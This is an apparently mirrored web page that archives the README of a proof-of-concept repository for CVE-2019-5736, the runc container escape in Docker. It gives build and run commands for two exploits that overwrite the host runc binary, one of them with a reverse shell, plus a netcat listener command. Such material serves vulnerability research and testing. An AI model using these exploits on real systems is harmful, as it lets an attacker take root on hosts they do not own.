Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2019-5736 PoC — Docker 操作系统命令注入漏洞

Source
Associated Vulnerability
Title:Docker 操作系统命令注入漏洞 (CVE-2019-5736)
Description:runc through 1.0-rc6, as used in Docker before 18.09.2 and other products, allows attackers to overwrite the host runc binary (and consequently obtain host root access) by leveraging the ability to execute a command as root within one of these types of containers: (1) a new container with an attacker-controlled image, or (2) an existing container, to which the attacker previously had write access, that can be attached with docker exec. This occurs because of file-descriptor mishandling, related to /proc/self/exe.
Description
CVE-2019-5736 POCs
Readme
# RunC-CVE-2019-5736

Two PoCs for CVE-2019-5736. See [Twistlock Labs](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/ "Explaining CVE-2019-5763") for an explanation of CVE-2019-5736 and the PoCs.

The malicious image PoC is heavily based on [q3k’s PoC](https://github.com/q3k/cve-2019-5736-poc), so all credit goes to him.

## Running the PoCs
Note that running the PoCs will overwrite the `runc` binary on the host. It is recommened that you create a copy of your `runc` binary (commonly at `/usr/sbin/runc`) before running one of the PoCs.

Clone the repository:
```sh
$ git clone https://github.com/twistlock/RunC-CVE-2019-5736
```

### Exec PoC
Overwrites `runc` with a simple program that prints a string.

Running the exec PoC:
```sh
$ cd RunC-CVE-2019-5736 
$ docker build -t cve-2019-5736:exec_POC ./exec_POC
$ docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
$ docker exec poc_ctr bash
```
### Malicious Image PoC
Overwrites runc with a simple reverse shell bash script that connects to localhost:2345.

Listen for the reverse shell:
```sh
$ nc -nvlp 2345
```

From a different shell, run the malicious image PoC:
```sh
$ cd RunC-CVE-2019-5736 
$ docker build -t cve-2019-5736:malicious_image_POC ./malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
```
File Snapshot

[4.0K] /data/pocs/63578ab2a60ce2b919144568ecf7860bf74c57d0 ├── [4.0K] exec_POC │   ├── [ 17] bash_evil │   ├── [ 386] Dockerfile │   ├── [8.3K] new_runc │   ├── [ 225] new_runc.c │   ├── [ 13K] overwrite_runc │   ├── [3.5K] overwrite_runc.c │   └── [ 416] replace.sh ├── [4.0K] malicious_image_POC │   ├── [1.0K] Dockerfile │   ├── [ 52] new_runc │   ├── [ 13K] overwrite_runc │   ├── [2.9K] overwrite_runc.c │   └── [ 929] run_at_link.c └── [1.3K] README.md 2 directories, 13 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →